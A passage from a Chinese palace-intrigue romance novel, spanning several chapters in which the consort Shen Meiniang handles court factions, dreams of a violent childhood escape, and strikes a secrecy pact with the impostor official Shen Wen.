喜欢一个人就是会有独占欲啊,她以前喜欢那个姓江的臭书生的时候,她就会有独占那人所有时间啊。 沈美娘毫不犹豫:“不喜欢。” 喜欢皇帝的人这辈子有了。 她喜欢的只是宋江江。 沈美娘翻开书,继续看宋薇写的日记。 她发觉宝儿一直在盯着她,晃了晃手里的书,问:“你要看吗?” 宝儿想了想点头,坐到沈美娘身边去。 不过她没有看那些日记,她对宋薇画的简笔画更感兴趣。 两人就这样又看了很久,直到入了夜,沈美娘该去侍寝,她才放下手里的书。 不过今天太监让沈美娘先在偏殿等一会儿,她不由好奇问姜颂干什么去了。 宦官道:“今日陛下留了几位提议选秀的大人商谈,陛下说不想选秀,结果卢大人当场就说他对不起先帝什么的,撞了柱……” 沈美娘听到这里,感觉宦官说的场面,有点像寨子里每隔十几日开一次的市集。 原来所谓的清流文官,居然也和无赖泼妇们一样,因为吵不过、砍不下价格就动手动脚。 这些人怎的这么爱管别人裤//裆里的事啊? 沈美娘看他们才不是什么怕对不起先帝,是他们家里有想送进宫来的亲戚才对。 沈美娘面上却装出一副受到惊吓,还颇为担忧的神情:“原来如此,也不知道卢大人如何呢?” “尚未醒来,陛下也派了太医还在救治。”宦官道。 沈美娘觉得姜颂还是心肠太好了。 像这种动不动就拿死威胁的,满口仁义道德,但背后全是利益纠葛的人,就该杀一儆百。 他居然还派人去救? 难怪他当个皇帝当得这般内耗又痛苦。 沈美娘无聊,就掏了一本声韵启蒙的书看。 她不知又等了多久,才听到宫人通传的声音,连忙起身去迎姜颂。 姜颂进殿后,就扑到沈美娘怀里。 沈美娘感觉怀里的人像是“走了有好一会儿了”,试探问:“陛下,你还好吗?” 她从宋薇的日记里,学到了好多有意思的词语和话,比如这个“走了有好一会儿了”。 姜颂闷闷道:“我不好。” 他今天是真的被那群文官谏臣折腾服了。 “我就是不想选秀,为什么莫名其妙去碰柱子啊……我记得卢先生上有老,下有小,他都不记挂家里人的吗?”姜颂道。 沈美娘帮姜颂取下发冠,帮他揉捏着肩膀,安慰他:“那些人还等着把自己人塞进宫里来分一杯羹,才会如此肆无忌惮催陛下您。” 今日那个碰柱的,也只是背后之人的一枚棋子罢了。 肯定早就人给他安排好身后事了,不然怎会如此肆无忌惮? 沈美娘觉得这些士大夫还真好玩,他们不仅不把贩夫走卒当人,他们好像也不把自己人当人。 “这样啊……”姜颂从沈美娘怀里挣扎着起来,“卢先生也是教过我的师父,我今日驳了他的话,原本想留他下来说说话的,谁知道他整这个。” 姜颂有些灰心道:“美娘,你说我今天是不是,做得不太对?” 确实不对。 沈美娘觉得为了一个女人不选秀,跟为了一块木头放弃整片森林一样愚蠢。 就像即使姜颂如此“喜欢”她,但沈美娘依旧给自己留了“沈温”那条后路一样。 但姜颂不想被同化,那他也只能这么做。 “不,陛下做得很对。”沈美娘唇角微勾,“就是一步都不能退。” 沈美娘:“如果接受了选秀,那下一步就是接受多妾,再下一步就是……” 姜颂摇头:“我不是说这个。我是说,我是不是不该那么优柔寡断,或许我就该直接拂袖走人,不管卢先生的伤。” 他当然知道不选秀是对的,他只是在想,想做个好皇帝,是不是该更狠心一点。 就像父皇那样。 沈美娘听到姜颂的话,还是摇头:“也不是。” “人在开始不把人命当人命那一刻起,就会变成野兽了。”沈美娘道。 她追忆往事:“臣妾逃过灾,路上有人为了活下去,甚至会吃人肉。” “臣妾不评判他们的对错,但臣妾以为……有些底线一旦突破,这辈子,都回不去了。”沈美娘道。 沈美娘也有无数次机会,可以选择彻底丢掉良心,选择一条更好的捷径。 但她都没有。 她知道如果选了,她就不再是从前的沈美娘了。 姜颂点头:“美娘,我明白了。” 如果说那个世界的知识,是让姜颂知道他想成为什么样的人。 那沈美娘就是能鼓励他走下去的人。 沈美娘拥住姜颂,温声夸奖:“陛下真乖。” 第47章 第47章打听旧事。 在姜颂忙着应付前朝那帮催他选秀的大臣时,沈美娘也在思考该如何处理谢颖。 姜颂那个“老乡”的身份如今已经很清楚,是谢党郑愔的外室女。 原本可以就此可以断定她与谢党脱不了干系,但偏偏又从那女子的寝居和叶党几位大臣的住所里,搜出了他们联络、来往的证据。 郑愔女儿还在提审前“畏罪自杀”了。 姜颂最后只申饬了郑愔教女无方,还贬了那几个叶党大臣的官。 至于一口咬定自己 是被欺骗,只是听信郑愔女儿谎言的谢颖,姜颂将她交给了沈美娘处置。 沈美娘知道谢颖是谢阁老的亲孙女,她也没有杀了谢颖。 在她试探谢太后的态度,知道谢太后对这个侄女没什么特殊感情后,沈美娘就用谢颖适婚龄的理由,把她打发出宫了。 谢颖出宫这日,沈美娘还特地来送她一程。 谢颖不管心里怎么恨沈美娘,面上却还是只能微笑着道谢。 沈美娘也笑道:“谢娘子,一路平安。” 等谢颖的马车离开,宝儿松了口气,道:“这下害人精总算走了。” “你觉得这样咱们处境就安全呢?”沈美娘偏过头看宝儿。 宝儿不解:“不然呢?我听说陛下不愿意选秀,谢颖也离开了……以后后宫,不就是美娘你一人的天下了吗?” 沈美娘被宝儿幼稚单纯的想法逗笑了:“你想的简单。” 她道:“谢党人会让我一个叶丞相献给陛下的美人被独宠?分宠不成,他们就该想办法在我身上做文章了。” 谶纬之说也好,巫蛊之术也罢,沈美娘这些日子读了不少书,知道让后妃失宠,乃至丧命的法子多得数不胜数。 更何况……她的过往如果暴露,都不需要谢党人陷害她,就能让她彻底失去姜颂的宠爱。 沈美娘回到瑶华宫就听宫人通传,说是苏尚仪前来求见,已经等了她快一个时辰。 沈美娘不意外苏云卿的到来,还偏过头对宝儿道:“你最近不是总抱怨尚食局的日子太无趣了吗?你看美娘姐姐这就给你换个工作。” 苏云卿看到沈美娘正欲行礼,沈美娘就抬手免了她的礼。 沈美娘问:“不知苏尚仪今日所来为何事?” “回娘娘的话,下官今日前来,是为感谢娘娘这次替下官担保求情之恩。”苏云卿道。 这次谢颖和那郑愔女儿的事,卷进去不少内侍、女官和宫女,就连她都差点被同僚借此事诬陷。 但苏云卿没想到沈美娘会出面为她作保,还下令彻查此事,不仅替她洗清了冤屈,还查出了陷害她的人。 “小事罢了。”沈美娘轻笑:“这宫里谁都可能对陛下有二心,但苏尚仪肯定不会有。” 苏云卿与沈美娘对视一眼,从她眼中的淡淡笑意里,明白她应该知道自己对陛下的爱慕之情。 “娘娘,下官绝……”苏云卿想要辩解,但却无话可说。 她就是喜欢姜颂。 在她差点被先帝赐死时,是姜颂开口保下了她的性命。 于苏云卿而言,姜颂就是她生命中不次于母亲的角色,她根本无法否认她对姜颂的感情。 苏云卿的反应也在沈美娘的意料之内,她继续道:“这事不算什么,本宫也不会放在心里。” 姜颂又不是什么臭鱼烂虾,自然会有人喜欢他。 就像喜欢沈美娘的男人很多一样,她对别人也喜欢姜颂颇为理解。 苏云卿没想到沈美娘会这般说,眼中闪过不解之意。 沈美娘继续解释:“更何况,既然是与前朝相关的事情,就得清查,而非成为有些人党同伐异的机会。” 这是她会帮苏云卿的根本原因。 苏云卿听到这话却很是意外。 她一直都知道六尚女官,虽顶着个“官”字,但困于内闱之内,就算顶了天,做到了尚宫的位置,也至多是替帝王慰问下臣。 但女官一辈子,都不可能如男人那般,走到前朝,接触到真正的军国大事。 民间的流言、传奇里,更是不少人认为她们女官,全是被皇帝临幸后却未得册封的“可怜女人”。 这是苏云卿第一次看到有上位者,将女官也推到如此高的位置上。 沈美娘见苏云卿露出动容神色,继续道:“这次宫中出现这种与外朝勾结之事,与两位尚宫渎职不无关系。” “苏尚仪这些年将尚仪局管理得井井有条,想必由你出任尚宫之职,好好整顿宫中的不正之风再合适不过。”沈美娘笑意盈盈道。 苏云卿完全没想到这种好事会落到她头上。 沈美娘口中的那两位尚宫可都不是简单人。 一位是先帝的乳母,另一位则是谢家的女儿,先帝闻其才华,特召进宫为女官,令其教导宫人。 苏云卿从未想过自己能从她们手中夺得尚宫之位。 沈美娘看到苏云卿的沉默,开口询问:“难道苏尚仪觉得自己不能堪当此任?” 苏云卿闻言,立刻跪下谢恩:“下官承蒙娘娘大恩,自不负娘娘嘱托。” 沈美娘对苏云卿很满意。 人都会喜欢有自己影子的人,沈美娘就喜欢苏云卿这种有野心、聪慧,又拎得清的人。 沈美娘将宝儿拉到苏云卿面前,道:“这是本宫的妹妹,之前本宫叫她在尚食局历练,现在想叫她去尚仪局,还望你让你旧日的同僚们好好关照她。” 苏云卿点头:“是,下官定会命人照顾好叶掌膳。” 沈美娘说完这件事,又问:“苏尚宫在宫中这么多年,不知可知道二十年前,西南那边发生过什么大事?” 沈美娘没忘记李守义死前,说陈家的火是谢阁老意思的话。 可是二十年前,叶党尚未崛起,正是谢党如日中天的时候。 谢阁老那时到底为何要与一个绵州的小小郡望过不去呢? 尚仪局与前朝的牵扯比尚宫局还多,想来苏云卿或许会知道些什么。 苏云卿听到这话,仔细想了想,摇头道:“二十年前,西南并无大事,倒是九年前西南曾生过叛乱,还因此致次年旱灾到最后会闹出那般大的动静。” 蜀王姜忠当时麾下的几名大将与刺史勾结,策划民变,欲谋反割据。 若不是蜀王机警过人,率先一步镇压叛乱,今日大燕恐不会是四海升平的盛世图景。 那场叛乱后,第二年又逢大旱与蝗灾,尚未恢复过精力来的官府治灾不力,才叫蜀中数州死人无数。 沈美娘虽没从苏云卿这里问出陈家的事,但注意到了九年前西南动乱的原因。 这是沈美娘第一次了解到那种叛乱的原因。 她像是想到了什么般,追问:“那后来几名大将与刺史呢?” 苏云卿道:“这等大罪,自然是枭首示众、挫骨扬灰了,府上家眷不是被杀,也大都已没为官奴。” 沈美娘听到这里,终于想明白沈温当年,为何会那般奇怪了。 明明识文断字,却要和贱民们一起逃灾;被她问及名姓时,也眼神躲闪,支支吾吾;甚至在逃亡之初,和她一样害怕官差盘问…… 原来沈温和她一样,都是不能暴露过去的人。 苏云卿离开后,沈美娘看着宝儿道:“咱们可能很快就会倒霉了。” 宝儿听到沈美娘的话奇怪。 沈美娘没继续解释,只让宝儿可以多囤点金银财宝。 谢党如今视她为眼中钉,肯定拼了命想要将她拽下来。 不论是嫁祸她,还是试图挖出她的过去…… 而沈温和青词是唯一能猜出她零星过去的人。 沈温为了往上爬,为了报家仇,他会不把她的过去抖落出来吗? 沈美娘还没想出应对之策,就听宫人通传,说是姜颂来了。 姜颂这几日显然和那些谏臣们“吵”出经验了。 他这几次越来越游刃有余,没有再一进殿就倒在沈美娘身上。 沈美娘看他今日神采奕奕,故意道:“陛下,今天吵赢呢?” “嗯!”姜颂骄傲地抬了抬下巴,“我用美娘你之前教我‘有气势地说滚’的方法,把那群讨厌的谏臣骂得全跪地上了。” 他眼里写满了“求夸奖”三个字,沈美娘依他的意揉了揉他的头。 沈美娘又把今日问苏云卿的话,拿来问了姜颂。 只见姜颂坐直了身子,很是认真地想了许久。 他有些迟疑道:“我娘二十年前,正在蜀 中游历……这个算大事吗?” 沈美娘想说这不算,但想起来她看过宋薇写的小说,里面有虐恋情深的故事。 里面的主角往往都会爱得惊天动地,乃至牵连无辜。 沈美娘委婉地问姜颂,会不会是他父皇当年做的——按那些小说的套路,可能是陈家收留了姜颂他娘,然后他爹就生气了。 姜颂听到沈美娘的话,被她丰富的想象吓住。 他随即笑出声,道:“我娘当年从皇宫逃跑出去以后,我父皇压根就没找到她……后来,他俩又在一起,也是因为我娘又短暂原谅他了,主动回京城来的。” 连姜颂都不知道二十年前西南发生过什么大事,看来陈家被灭门的案子,沈美娘只能去试探谢阁老,或者回绵州探查才能得到答案了。 姜颂却将沈美娘的凝神思考,当成她不相信,连连解释:“我真没骗你,我娘当年很厉害的!她不愿意的话,我父皇到死都不可能找到她。” “我出生以后,我娘带着我四处游历,都没被我父皇找到,更别说她一个人了。”姜颂道。 沈美娘看姜颂误会了,道:“臣妾相信陛下。” “陛下以前不是说,你八岁时发高热,不记得从前的事了吗?”沈美娘问。 姜颂:“零星一些片段是记得的,而且我娘和我身边的人和我说过。” 他很是开心道:“我还在西南待过一段日子,说不定咱们还见过呢?” 沈美娘面上应道:“或许。” 但她知道两人肯定没有见过。 整个西南那般大,两人得多大的缘分,才能有机会见过? 再说沈美娘从小记忆过人,姜颂长得这么好看,她要是见过,肯定忘不了。 姜颂在这件事上,却格外不依不饶:“肯定见过,不过可能是匆匆一眼,然后就忘了。” 沈美娘只好点头:“嗯,肯定见过。” 她又喃喃道:“若我与你当真从小认识就好了……” 姜颂看沈美娘神情不对,问:“你怎么呢?” 沈美娘摇头,用力抱住姜颂,道:“没什么,就是觉得陛下说得有道理。” 不过就算两人从小认识又有什么用? 就算重来一千遍,沈美娘也从不后悔当初的选择。 沈美娘长长的眼睫,投下一片阴影:“陛下,你之前和我说臣妾就算杀人,肯定也是正当防卫?” 姜颂:“对……有什么事吗?” “没有。”沈美娘摇头。 她就是有点好奇,等姜颂发觉他看错了人,脸上的神情该有多好看。 肯定会觉得她无可救药。 第48章 第48章怎么才能白头偕老? 姜颂总觉得沈美娘的神情不太对,他想追问,沈美娘却已经将他扑倒在床上,像是打算和他做那种事。 他还没来得及拒绝,先疼得“嘶”的一下。 沈美娘连忙问:“臣妾是把陛下碰疼了吗?” 可是她压根没用力啊,这床上这么软,不会碰疼才对吧? 姜颂胸口的剑伤也不是早就好了吗? 那他在疼些什么? 姜颂也有些茫然地摇头:“没什么……我从小就这样,身体时好时坏。” 沈美娘不解。 姜颂解释:“可能是因为我父皇身体就差的原因吧……我小时候刚回皇宫的时候,身体也很差,我娘就是怕我在宫外头养不活,才把我送回来的。” 他眼里满是疑惑:“后来慢慢好起来,不过偶尔也会恶化一下。我在芙蓉谷的时候,身体也越来越坏,被叶先生追上后,太医给我治了病才又好起来。” “但不知为何,最近我身子又越来越差了,”姜颂故作幽默,开玩笑,“兴许是我就适合在宫里吧,去了外面,我的身体也受不了苦。” 沈美娘听到这话,眉毛微蹙,问:“陛下,会不会是有人给您下了毒?又或是蛊?臣妾家乡西南那边传说就有人会下蛊,听说那东西就能害人于无情。” 姜颂摇头:“太医都看过了,都不是。” 那姜颂这是什么病? 沈美娘正在想这件事,姜颂伸手抚平她皱起的眉头,笑道:“不必担忧,肯定不会有事的。” 沈美娘盯着姜颂的眼睛看了好一会儿,反问:“真的?” 姜颂用力点头:“嗯!” “好吧,”沈美娘没有继续原本想做的事,只是贴着姜颂的胸膛,“陛下,你一定要长命百岁。” 姜颂回抱住怀里的人,道:“我会的,我会陪着你,直到我们都鬓发斑白。” 沈美娘听到姜颂的话,想到那时两人的模样。 两个走过漫漫几十年的人,还能在年老后,相偎在一起闲话从前共同的经历。 确实是一件想想就很浪漫的事。 沈美娘应道:“好。” 两人拥抱着躺在床上,沈美娘发现,原来这种不带丝毫情/欲的拥抱,竟丝毫不输给床笫之事。 当她紧紧抱住姜颂,闻到他身上熟悉的墨香时,就会觉得无比安心。 沈美娘沉沉睡去。 她又梦到了十二岁那年的事。 还是熟悉的火,像是从地下烧起来的,尖叫声和哭声,一声声往沈美娘耳朵里钻。 她感觉整个脑子都在嗡嗡响,眼前的幻觉逐渐清晰。 她额前的碎发都被火舌卷过,有奇怪的焦味弥漫开…… 但在火场正中间,有个小女孩却站在那里岿然不动,她抬头像是在和神灵祈祷,又像是在等着这场火把她也吞噬。 沈美娘靠近她,小女孩先一步转身看她。 她的脸上有飞溅的血珠,那些已经干涸了。 她手上紧握着的匕首沾满了血,那些血尚鲜热,顺着她的手不断往下滴着。 她也是“沈美娘”。 不过,她是十二岁的沈美娘。 小女孩盯着她只迟疑了片刻,就用手中的匕首的扎进了沈美娘的喉咙处。 她用力推开沈美娘,精瘦的身体爆发出无比巨大的力量。 沈美娘倒在地上,魂灵却一路跟上了那个她。 她慌不择路跑过长长的山路,中途不知道从窄窄的路上摔下来过多少次,却还是一瘸一拐地不断跑着。 沈美娘听到她不断道:“跑,跑,我要跑……” 直到到了山垭口,她才冷静下来,目光落在攥紧匕首的手。 她的左手上有一根多余的手指,很碍眼,很无用。 没有用的东西,那就不该存在,会拖累她被发现的东西,更不该存在。 沈美娘听到骨头被石头砸碎的声音。 也听到了刀刃割断血肉的声音。 这个声音,很像过年节时,七娘要给她做汤面前,切肉的声音,细心又缓慢。 小小的沈美娘,将断指放进同样小小的木盒里,又在里面洒满了家乡的土。 她回望连绵的山坳,前途也是同样看不到尽头的群山,但她只能起身继续飞奔起来。 “跑,跑……” 只有等到出人头地,只有权势地位都被她握紧的那一天,她才可以回到这里。 沈美娘从噩梦中惊醒。 她伸手去摸脖颈,才发现是姜颂的手搭在那里。 沈美娘轻轻挪开他的手,闭眼回想刚才的梦境。 虽是梦魇,但却无比真实。 十二岁的她就是那般冷血。 即使是未来的自己挡在她面前,她也会毫不犹豫杀人自保。 沈美娘望着身边姜颂对一切都毫无察觉的单纯的睡颜。 现在的她已经比那时候好多了。 那是沈美娘人生中最浑浑噩噩的一段日子。 她过往坚持的东西被打碎,又没有新的能支撑她的东西,还时时刻刻害怕被官差捉住。 后来十二岁的沈美娘,又经历了被沈温送给叶司马的事情。 她当时是真的巴不得全天下的人都去死。 如果天底下,当真有能按一下就世界毁灭的东西,她一定会按到那东西坏为止。 但沈美娘现在有姜颂、有宝儿,还有青词、李姮…… 她曾以为自己已经没有当初那般重的戾气了。 可是沈美娘还是做了刚才那样的梦。 她知道,那是她从未真正放下的表现。只要与十二岁时发生的那件事相关,她就会控制不住露出她最扭曲、阴暗的一面。 她伸手戳了戳姜颂的脸,看到他下意识捉住她的手,嘟囔道:“美娘,别闹。” 眼前的画面越美好,沈美娘就越会想到梦中混乱又诡异的场景。 她垂眸,凝视着姜颂看了好一会儿。 倏地,沈美娘起身,在外殿的柜中,翻出了那把已经被搁置了许久的旧折扇。 自从沈美娘之前出宫去玉泉观后,姜颂可能是觉得每次她都需要和他说太麻烦,直接就允她时时能够出宫了。 宝儿不明白沈美娘为何突然要出宫去,但还是选择陪着她。 沈美娘看向韦阿宜,吩咐:“若是陛下问起,你便说我是出宫去苏尚仪府上拜访了。” 沈美娘当然没有去苏尚仪府上,她出宫后,遣了宫人去苏尚仪府上。 她则和宝儿换了寻常妇人的衣裳,往谢阁老府上去了。 可是马车还未到谢府就被人拦下,来人说是他们主子有情。 沈美娘似乎并不意外,就这般跟着那人走了。 她看宝儿不解,给她解释:“是沈温。” 她就是故意先去拜访谢阁老的。 沈温和姜颂不一样,他在她身边拼命安插的眼线可不少,可以说是时时盯着她的动向。 沈温如今对她如此“愧疚”,又这般“爱慕”她,当然不会看她去谢府。 不论沈美娘是去拜访,还是打探什么消息,沈温都只会害怕她受伤,或得罪谢阁老。 沈美娘不想主动和沈温牵扯上关系,当然得放诱饵叫他来主动找她。 就算万一被姜颂看到,她也可以把一切都推到沈温身上。 沈温在京中的一处酒楼约见沈美娘。 沈美娘推门而入,沈温便向她抬眼看来。 他看到沈美娘脸上毫无惊讶的神色,不过片刻,就明白他今日又被沈美娘算计了。 沈温无奈失笑:“美娘,果真是天底下最懂我的人。” 沈美娘听到沈温有些暧昧的话,扯了个笑,拼命压制想翻白眼的冲动。 她道:“叶党的人不了解沈大人吗?那也难怪叶党斗不赢大人你了。” 沈美娘的意思无非是将两人的关系,与和沈温势同水火的叶党人放在一块比较。 沈温没有计较沈美娘的话,心里反而有些高兴。 如果不能被沈美娘爱着,那被她恨着,他也很甘之如饴了。 沈美娘坐下,将折扇从袖中取出,推到沈温面前。 她开门见山道:“这是沈大人的旧物,该物归原主了。” 沈温盯着那把折扇,眼中闪过震惊之色。 他试图不承认,道:“这把折扇,不是我的。” 沈美娘道:“确实不是你的,毕竟它是‘沈温’的,不是你的。” “当年我救了你和沈温,你们二人都对真实身份支支吾吾。旁的我不清楚,但沈温不肯说出真实身份,想来是你告诉过他,逃难时最好不要暴露身份,以防有人起了歹心,被绑架,又或是被杀掉顶替吧。”沈美娘没有用疑问的语气,她很确定自己的猜想。 只是真正的沈温大抵没想到,在他死后,顶替掉他的会是这个在逃荒路上认识的,对他颇为照顾的“假沈温”吧。 沈美娘确实也说的一字不差。 但沈温不知道眼前的女人是如何得知这件事的。 真正的沈温不是一直到死,都没有在沈美娘和青词面前暴露过身份才对啊。 沈美娘道:“真的沈温在死前背开你,偷偷给了我这把扇子。他说,叫我到南州投奔他舅舅,让我对外就说我是她妹妹。” 沈温惊得起身,像是不理解到极点:“那你为何当时不揭穿我?” 他并不知道真正的沈温,给沈美娘留了这个信物。 故而,当年他与沈美娘和青词二人到了南州后,第一件事就是顶替已死的沈温去认亲。 沈美娘既然知道,为何当时不站出来呢? 为何她在被送给叶司马后,也没有说出这件事呢? 沈美娘像是看出了沈温的疑惑,解释道:“我大字不识,礼仪不通,就算有信物,沈家多半也不会信。” 更何况就算是信了,她也只能沦为沈家的联姻工具,被嫁给南州的寻常士族。 但那不够。 沈美娘从蜀中一路流亡而来,可不是为了做个南州的小官夫人。 而沈温很聪慧,还能进京考试,沈美娘从一开始,就打算借着他来上京的。 “至于你把我献给叶司马时,我没揭穿你……沈大人可能不清楚,我在司马府上最初的日子很不好过,贴身的东西几乎全被收走了。”沈美娘道。 等她在司马府站稳脚跟,有了说话的机会,重新找回这把折扇时,沈温已经进士及第,投了谢党,成为沈家的荣耀了。 就算他是假的,也不会撼动他的地位。 沈温看着沈美娘,颇为愧疚:“美娘,我不是故意顶替……” 他不愿意美娘误会他是为了荣华富贵、名利地位,顶替他人身份的人。 沈温能接受天下所有人都认为他是无耻小人,唯有沈美娘……他不想她误会他。 可他又不能将真相说出来。 沈美娘却道:“我知道。” 沈温惊诧地看着她,听到她一字一句道:“也许,我该叫你祝大人。” 这个假沈温能得到真沈温的信任,让那人一边相信他的话,从不对外人提及真正身份,一边又能叫真沈温把自己的身份经历告诉他。 除了这个假沈温救过真沈温外,恐怕也因假沈温的举手投足也像是钟鸣鼎食之家的风雅公子。 这些日子,沈美娘让宝儿在尚仪局多方打听,尤其是与一些命妇核对后宅之事后,从年纪和身份上来说,终于推断出了沈温的身份。 他是祝羽的儿子。 祝羽是从前蜀王麾下,最骁勇善战又出身蜀中郡望的儒将,也是九年前那场叛乱的主谋之一。 果然,沈美娘从沈温短暂的怔愣中得到了答案。 沈美娘道:“我不知道你冒充沈温究竟想做什么,但我想你肯定不愿意自己的身份被公之于众。” “做个交易吧,我不会揭穿你的身份,也请你不要吐露我的过去。”沈美娘道。 她和沈温对视许久,最后看到他点了头。 沈美娘今日的目的已经达到,起身就想离开,却又道:“还有一事。” 她道:“大人学‘沈温’学得出神入化,但是我希望,有一日,你可以把沈温的名字还给他。” 姓祝的不仅学了沈温的字迹,也学了他温和好说话的脾气,算是彻底顶替掉了他。 但沈美娘很讨厌这样。 “沈温”应该在这个世上也留下他自己的痕迹。 沈温:“好。” 沈美娘推门离开,从袖中取出姜颂送她那把金光闪闪的折扇。 她从酒楼出来,才发觉刚才下了大雨。 上京就是这样夏日多骤雨,来得快去得更快。 沈美娘小声骂了几句这古怪的天气,但没走几步,就迎面撞上了撑着伞的姜颂。 但可能是被姜颂捉到太多次,沈美娘这次的想法已经变成—— 怎么这次姜颂没到酒楼上去偷听呢? 他终于知道偷听不是美德呢? 第49章 第49章如果她是砂仁犯。 沈美娘和姜颂四眼相对。 她觉得姜颂跟个鬼一样,她不离开皇宫还好。 只要她一离开,他绝对马上跟上来。 比起鬼,沈美娘又莫名觉得他更像离不开主人的小狗。 沈美娘走上前,挽住姜颂的手,笑靥如花:“公子这是睡醒了,怎的会找到这里来,等了多久……” 她伸出手想拽住姜颂的袖子撒娇, 却被他躲开了。 姜颂这次难道真的有点生气呢? 沈美娘不知道姜颂误会了多少,假装生气:“都怪那个沈大人把我骗到这里来,我也不知道是他啊,不然我肯定不来。” 姜颂摇头,望向酒楼之上,道:“我没生你气,我是讨厌那个沈温。” 沈美娘问:“怎么说?” “他是涉党争的人,当年就能做得出献美讨好上司,现在他总是找你,说不定心里憋着什么坏水!”姜颂愤愤不平道。 沈美娘看姜颂这是担心她,拽住他的手撒娇:“有公子保护我,他才不敢。” 姜颂听到这话,有些骄傲地轻抬下巴。 沈美娘看他这样,又问:“那公子怎么不直接上去呢?” “我是那么小气的人吗?那样不就显得我在吃醋呢?”姜颂握着伞柄的手加了几分力气,“再说了,你又不是我的附属物,当然得有你自己的空间。” 他就是今日睡醒了起床气还没散,到苏云卿那里又听说沈美娘压根没去,然后才从宫人口中得知沈美娘是去谢阁老处了…… 一路摸过来,却发现沈美娘是在和沈温听雨闲谈。 沈美娘都没和他做过这般风雅的事! 姜颂强调:“我绝对没有吃醋,我就是跑累了,还有起床气没散才这样!” “好好好,我当然相信公子。”沈美娘道。 她伸手握住姜颂撑伞的手,歪了歪头,故作疑惑:“可是公子怎么还不把伞收了呀?已经没有下雨了。” 姜颂听到这话,脸瞬间涨得通红,手忙脚乱收伞。 沈美娘看他这样,忍不住笑出了声。 下雨都不知道往屋里跑,天晴了也不知道收伞…… 沈美娘替姜颂擦了擦脸上的薄汗,调侃他:“公子,没有我,你可怎么办啊?” 姜颂也不知道沈美娘这话是在逗他,还是真心诚意发问。 他想了想,还是打算好好回答道:“所以,我才想和美娘你白头到老啊。” 他就想天天黏着沈美娘,最好一刻都不要分开。 沈美娘听到姜颂的话,愣了一下,蓦地笑出声。 她拥住姜颂:“好,那就白头偕老。” 沈美娘总觉得谈一生一世是件愚蠢至极的事。 在十几岁青春年少时,就把往后余生轻易许诺的人,不知道该说是太过不负责任,还是狂悖任性至极。 但在此时此刻,她也跟着成了这种人。 在姜颂看不见的地方,沈美娘的眼里有短暂的迷茫。 但她很快有了让自己心安的回答—— 要是如实回答了,小皇帝肯定会生气难过,到时候还不是得花时间去哄。 那还不如说几句好听的假话哄他。 再说小皇帝的皇位稳如泰山,只要他不发癫,跟着他,不就是跟着荣华富贵? 和荣华富贵白头偕老,沈美娘是绝对愿意的。 那她也不算是骗姜颂。 两人眼里只有彼此,也就没注意到酒楼上垂眸看两人的沈温。 沈温就这样看着两人拥抱、诉衷肠,看到沈美娘满心满眼都只有姜颂。 直到两人离开,他依旧站在原地没有动作。 蓦地,他转身将案几上的杯盏全都拂落在地。 守在门外的侍从听到里面的动静,有些担忧地敲了敲门,问:“大人……” 沈温回过神来,温声道:“本官无碍。” 他听到自己这样温和的声音,怔愣许久,才压抑地低笑出声。 沈美娘如今一定很看不起他吧。 她肯定会觉得自己是个为了荣华富贵不择手段的人。 像他这样使鬼蜮伎俩,给谢党做走狗的人,哪里能和陛下那种从小在锦绣堆里长大的天潢贵胄比呢? 可是……他原本也是啊。 沈温看着自己的手,如今这已是一双读书人的手。 可他记得从前这双手的手掌上,是有厚茧的——那是常年持剑,日日不能懈怠才会被磨出来的厚茧。 沈温紧紧盯着自己的手,目光沉沉,不知道想起了些什么。 “大人……” 门外又传来仆从的声音。 沈温回过神来,问:“什么?” 仆从道:“谢阁老派人,说是有要事相商,请你立刻前去。” 沈温立刻应下。 他心里隐约能猜到谢阁老可能会提到什么。 献美不成、选秀不开,想要把陛下对沈美娘的宠爱分开,就只能从沈美娘身上下手了- 关雎宫内,宝儿正帮沈美娘簪山石榴花。 “美娘,你之前不是说留着那些眼线吗?”宝儿不解。 沈美娘在李守义在她身边安插人手时,特地也留了别的一些人安插的人手。 当时美娘特地留了沈温、宁王和李守义眼线,宝儿就不明白。 现在她突然让宝儿把这些人全打发了,宝儿就更不理解了。 沈美娘道:“以前需要留着他们,给外头想了解我的人机会,让他们对我产生兴趣……如今,自然是不需要了。” 宝儿:“因为他们足够了解你呢?” “算一个原因。”沈美娘扶了扶鬓边的花,“还有就是,我觉得,这个皇宫我可能也待不了多久了。” 宝儿惊道:“美娘,你说什么?” 她想起那日两人同去见了沈温,事后沈美娘没有瞒宝儿,把她与沈温的对话都告诉她了。 宝儿皱眉:“你那样做,不就是为了让沈温不出卖你吗?” “是那样没错,可是我不信他。”沈美娘道。 见宝儿像是不明白,沈美娘仔细解释道:“没抛弃过我的人我都不信,更遑论抛弃过我的人?” 自从沈美娘上次找过沈温以后,他这些日子都没有再找过自己,也没有让他的眼线传过什么话。 前朝那些提议选秀,每天骚/扰姜颂八百遍的朝臣,也突然安静下来。 姜颂觉得这是那些人终于知道他不会选秀,放弃规劝他了。 但沈美娘却觉得这更像是山雨欲来前的短暂平静。 沈美娘看宝儿要哭,连声安慰她:“不过就算我在皇宫里呆不下去,宝儿你如今已经是尚仪局的典仪了,又有苏云卿罩着你,肯定……” “不要!”宝儿打算沈美娘,“沈美娘,我告诉你,你必须好好的。” 宝儿说哭就哭,沈美娘拿她没办法,忙哄她:“好。” “你就算要离开,你也必须带我一起。”宝儿抹掉脸上的眼泪。 沈美娘怕宝儿再哭,立刻答应:“我答应你,行了吗?” 宝儿这才哽咽着点了头,她又问:“可是美娘,就算你以前犯过错,也……不至于那般严重吧?” 叶司马、李守义,他们做过那般多的恶事,都能够苟活那么多年。 若不是沈美娘报仇,兴许,不会有任何人发现和在意他们犯过的错。 “宝儿都不知道我究竟犯过什么错,就这般帮我说好话啊?”沈美娘反问。 宝儿这次没有否认,反而认真点头:“沈美娘,我知道你是好人……难道你还能杀人吗?” 沈美娘听到“杀人”两个字,脸上的笑意滞了滞。 旋即,她笑出声:“如果只是杀人也就好了。” 宝儿听到沈美娘这话,过了好一会儿,才明白她这话是什么意思。 可不等宝儿追问,门外却传来通报声,说是陛下请沈美娘去紫宸殿一趟。 沈美娘点了点宝儿的额头,轻笑:“不要总是担心有的没的,车到山前必有路,就算没路,你沈姐姐我也能凿开一条路来。” 宝儿捂住额头,想了想也觉得沈美娘说的有道理。 从她被阿娘托付给沈美娘起,就没跟着吃过苦——沈美娘总有办法。 沈美娘直到进殿才察觉到不对。 姜颂虽也总把她喊到紫宸殿来,不是让她研墨,就是把折子念给她听,问她的想法。 然后两人会讨论着讨论着,就腻歪到一块去。 但今日殿内还有其他人。 